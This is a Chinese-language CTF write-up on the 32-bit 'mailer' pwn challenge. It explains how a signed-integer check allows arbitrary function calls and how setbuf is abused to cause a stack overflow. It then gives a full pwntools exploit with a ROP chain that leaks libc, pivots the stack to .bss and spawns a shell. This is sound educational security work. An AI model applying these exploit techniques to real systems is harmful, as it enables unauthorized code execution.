作者:Hcamael@知道創宇404實驗室

朋友讓我一起看了一道32位的pwn題,好像是國外code blue 2017 ctf上的一道題,開始我感覺32位pwn的姿勢我應該都會了吧,結果,又學到了新姿勢......

題目鏈接:https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn

在拿到這題的時候,看了下是32位的,canary都沒開,本以為是很簡單的題

sub_8048ada函數中發現了一個任意函數調用的漏洞,對于filter輸入的數值只檢測v3<=2,而v3是int型,所以可以任意調用小于0x804b048的函數,但是參數卻不能控制,第一個參數是fopen("/dev/null")調用返回的文件流,第二個參數是buf,第三個參數為長度

初次之外就找不到別的漏洞了,在參數無法控制的情況下,只能利用該bin中的本身函數,沒有任何getshell的思路

然后在大佬的教導下,我第一次注意到了setbuf函數,大部分pwn題都會有這個函數,用來設置IO緩沖區的,第一個參數是文件流,第二個參數表示緩沖區,一般在pwn題中的用法是setbuf(stdin, 0)表示標準輸入取消緩沖區。

仔細觀察還會發現,stdin并不是0,而是在stdio庫中設置的一個文件流,所以也是作用在stdio庫中的函數,比如gets, puts, fread, fwrite

比如,gets函數使用的就是stdin描述符,如果設置了setbuf(stdin, buf)gets函數則會先從buf中獲取輸入,自己也可以寫個簡單的代碼測試一下

#include<stdio.h>

int main(void)
{
    char buf[10];
    memset(buf, 0, 10);
    buf[0] = '1';
    printf(buf);
    setbuf(stdout, buf);
    printf("test");
    write(1, "\n====\n",6);
    write(1, buf, 10);
}

然后運行一下

$ ./a.out
1
====
test

可以從結果看出,printf根本沒有輸出test,而是把這個字符串輸出到buf緩沖區中了,從而修改了buf中的內容。

因為設置的是stdout的緩沖區,而stdout是stdio庫中的文件流,所以write并沒有受到影響

還有一個問題,setbuf并沒有設置長度的參數,設置長度的需要使用setvbuf,所以默認情況下setbuf設置的緩沖區長度為默認的4096,這樣在該題中就形成了一個攻擊鏈

控制程序跳轉到setbuf函數,簡單的講就是調用setbuf(fd=fopen("/dev/null"), buf1),然后在sub_8048742(no_filter)函數中調用了fwrite(fd, 0, buf2, len),這樣就能往buf1中寫buf2的數據,而buf是存在棧中的,所以可以造成棧溢出,能棧溢出了,下面就是找ROP鏈了

棧溢出構造邏輯:

add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 棧溢出,利用ROP鏈

下面就是研究怎么構造ROP,我的思路是:

利用printf泄露libc地址 -> 算出system,字符串/bin/sh地址 -> 構造出第二個system("/bin/sh")的ROP鏈 -> 通過fread寫入.bss段 -> 利用ROP把棧修改成.bss段 -> 執行第二個ROP system("/bin/sh")

同樣也能利用one_gadget,payload下面會放,這里再討論一個問題

我把棧地址修改成0x804b100,執行system("/bin/sh")是失敗的,然后再和大佬的討論中發現了幾種可能,system需要獲取系統的環境變量envp,通過看system的源代碼,發現有一個全局指針變量_environ指向棧上的envp,如果這個值被覆蓋成了一個無效的地址,system則無法執行。但是在該題中,我的第一個rop并不長,所以并沒有覆蓋掉envp,之后修改了棧地址,也不存在覆蓋envp的情況。

然后還有第二種情況,system棧地址空間不足,程序的可讀可寫地址空間是從0x804b000-0x804c000,總長度為0x1000,然后我修改的棧地址為0x804b100,所以system可用的棧空間只有0x100,之后我把棧的地址修改成0x804b700后,就能成功執行system("/bin/sh")

附上payload:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
context.terminal = ['terminator','-x','bash','-c']

def add(p, data):
    p.readuntil("> ")
    p.sendline("1")
    p.readuntil("contents: ")
    p.sendline(data)

def post(p, n, offset):
    p.readuntil("> ")
    p.sendline("3")
    p.readuntil("ID (0-4): ")
    p.sendline(str(n))
    p.readuntil("> ")
    p.sendline(str(offset))

def quit(p):
    p.readuntil("> ")
    p.sendline("4")

def main():
    p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})
    libc = ELF("./libc.so.6")
    e = ELF("./mailer")
    # gdb.attach(p)
    gadget1 = 0x08048dab   # pop ebp ; ret
    gadget2 = 0x080485f8   # leave ; ret
    gadget3 = 0x08048495   # pop ebx ; ret
    gadget4 = 0x08048daa   # pop edi ; pop ebp ; ret
    gadget5 = 0x08048da9   # pop esi ; pop edi ; pop ebp ; ret
    one_gadget_sh = 0x56ff5
    read_buf = 0x080486D9
    stdin_bss = 0x804B060
    bss_buf = 0x804b700
    rop1 = "a"*0xd
    rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf)
    rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
    rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)
    add(p, rop1)
    add(p, "b"*255)
    add(p, "c"*255)
    add(p, "d"*255)
    add(p, "e"*255)
    post(p, 4, -15)
    post(p, 1, 0)
    post(p, 0, 0)
    quit(p)
    p.readuntil(":)\n")
    printf_got = u32(p.read(4))
    # print hex(printf_got)
    system_libc = libc.symbols["system"]
    printf_libc = libc.symbols["printf"]
    binsh_libc = libc.search("/bin/sh").next()
    system_add = printf_got - printf_libc + system_libc
    binsh_add =  printf_got - printf_libc + binsh_libc
    one_gadget = printf_got - printf_libc + 0x3a838
    #rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget)
    rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
    p.sendline(rop2)
    p.interactive()

if __name__ == '__main__':
    main()

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